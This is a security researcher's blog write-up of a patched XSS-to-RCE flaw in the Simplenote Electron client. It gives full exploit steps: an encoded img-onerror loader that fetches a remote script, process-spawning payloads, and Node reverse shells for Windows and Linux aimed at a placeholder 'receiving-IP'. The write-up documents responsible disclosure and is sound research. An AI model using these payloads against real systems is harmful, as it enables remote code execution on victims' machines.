Yasin Soliman

Yasin Soliman


I'm Yasin, a security analyst and OSCP from the UK, interested in web application testing and red team operations. This is my personal blog for sharing research findings.

Yasin Soliman
Author

Share


Twitter


Taking note: XSS to RCE in the Simplenote Electron client

Yasin SolimanYasin Soliman

Originally released in 2013, Electron is a framework for creating native desktop products with JavaScript, HTML, and CSS. Since then, companies such as Microsoft and Slack have built Electron into their development process. Love them or hate them, cross-platform Electron apps are here to stay — they're everywhere. But, there's a caveat.  

As the following write-ups show, misconfigured and vulnerable Electron apps can often lead to serious consequences. A familiar web security issue such as cross-site scripting (XSS) can lead to arbitrary code execution with just a few lines of JavaScript.

Markdown note sharing: XSS to RCE in Simplenote

Simplenote is a popular note-taking application from Automattic. Alongside the web app, an Electron-based desktop client is available for Windows and Linux systems. Existing users can share notes with each other by creating a new tag containing the recipient's email address.

Simplenote logo

After observing a case of XSS within the Electron context several days ago, I discovered that it was possible to devise a carefully crafted Markdown note, such that when previewed by a recipient, would lead to arbitrary code execution in the Simplenote client (prior to version 1.1.0) — breaching the sandbox. Application spawn and reverse shell proofs of concept were demonstrated to the Automattic team.

Steps to reproduce

As observed in HackerOne report #291539, the following step-by-step example can be used to pop netplwiz.exe on a Windows target via cmd.exe. It comprises an externally hosted JavaScript file (containing the core payload) which is retrieved by an encoded loader script.

First, create a new JavaScript file with the following JavaScript payload (herein referred to as electron.js) and host on an accessible remote web server.

var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

Next, prepare the following loader script by substituting server with that of your remote web host. Once added, encode the script into Unicode-value form — which should return an eval(String.fromCharCode(...)) string.

var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://server/electron.js'; document.body.appendChild(js);

To finish constructing the proof of concept note, copy your resultant eval(String.fromCharCode()) output into the desktop client. An image tag with the onerror attribute can be used to evaluate the JavaScript and inject our loader into the Simplenote DOM.

# Test note - execution PoC
<img src=x onerror=eval(String.fromCharCode(...))>

The JavaScript takes effect upon enabling Markdown formatting for the note and selecting the "Preview" option:

Netplwiz application execution

As shown in the following readout from Process Monitor, the Simplenote executable spawns a cmd.exe process, within which the netplwiz.exe executable is loaded:

Process Monitor output

Supplementary payloads

Execute an application

Windows: executes cmd.exe with a child netplwiz window

var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

Linux: directly executes the gnome-calculator binary

var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

Establish a Node reverse shell

Windows: creates a cmd.exe reverse shell to receiving-IP on port 8080

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

Linux: creates a Bash reverse shell to receiving-IP on port 8080

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

WordPress reverse shell

Conclusion

Automattic fixed this issue in the v1.1.0 release, such that arbitrary JavaScript can no longer be executed from within the Electron context. I would like to thank the Automattic security team for facilitating a prompt remediation, and EdOverflow for assisting with the investigation of this vulnerability.

Research timeline

The following timestamps are provided in Greenwich Mean Time (GMT).

  • 2017-11-18 17:57 – bug reported
  • 2017-11-20 11:04 – acknowledged and validated
  • 2017-11-20 18:42 – patch release confirmed
  • 2017-11-22 13:57 – disclosure requested
  • 2017-11-27 13:53 – disclosure request approved
Yasin Soliman
Author

Yasin Soliman

Comments